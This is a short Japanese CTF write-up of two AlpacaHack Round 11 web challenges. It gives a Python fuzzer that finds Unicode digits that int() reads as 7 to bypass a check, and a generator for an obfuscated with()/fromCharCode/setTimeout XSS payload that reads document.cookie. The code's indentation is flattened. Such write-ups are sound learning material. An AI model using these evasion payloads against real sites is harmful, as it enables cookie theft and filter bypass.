AlpacaHackRound11 Writeup
2025.05.17 (Sat) 12:00 - 18:00 JSTでAlpacaHackがやっていたらしい。が見逃した。
普通に15:00に起きて、それ以降部屋の掃除をしていた。終わった。
問題は、Jackpot、Redirector、Tiny Note、AlpacaMarkの4つで、Jackpotは63 solvesとsolve数が多いので解きたい。
次にRedirectorが6 solvesと多いが、どう考えても63 solvesに比べると少ないのでわかっても分からなくてもこれだけ復習対象にすることにする。
つまり、今回はJackpotとRedirectorに挑むということです。
Jackpot
つい最近Unicode周りで遊んだことが功を奏して結構すぐわかった。
def fuzzing():
for codepoint in range(0, 0x10ffff):
try :
value =chr(codepoint)
if not re.fullmatch(r"\d+", value):
pass
if int(value) == 7:
print(f"Found: Unicode {codepoint:x}, Character: {value}")
except Exception as e:
pass
このコードから出力されるCharacterをcandidatesパラメータに含めるだけ。
一例として以下の文字列となる。
7𝟟𝟩7𝟳𖩧𞅇᧗෭๗
これらは\dに引っかかり (つまり、数字の7として認識)、int()を行うと全て数字の7となるため、全ての値が7の配列が出来上がるというわけ。
Redirector
これは普通に分からんかった。 色々な人の解法を見ると、with()を使って難読化するっぽい。
payload = "alert(document.cookie)"
template = "with(String)with(String())"
for char in payload:
template += "with(concat(fromCharCode(" + str(ord(char)) + ")))"
template += "setTimeout(concat(String()))"
print(template)
payloadにcookieを取得するペイロードを打ち込めばフラグが取得できる。
withの難読化とsetTimeoutの第一引数がevalと同じような挙動をするというのは面白いなと思いました。 (知らなかった。)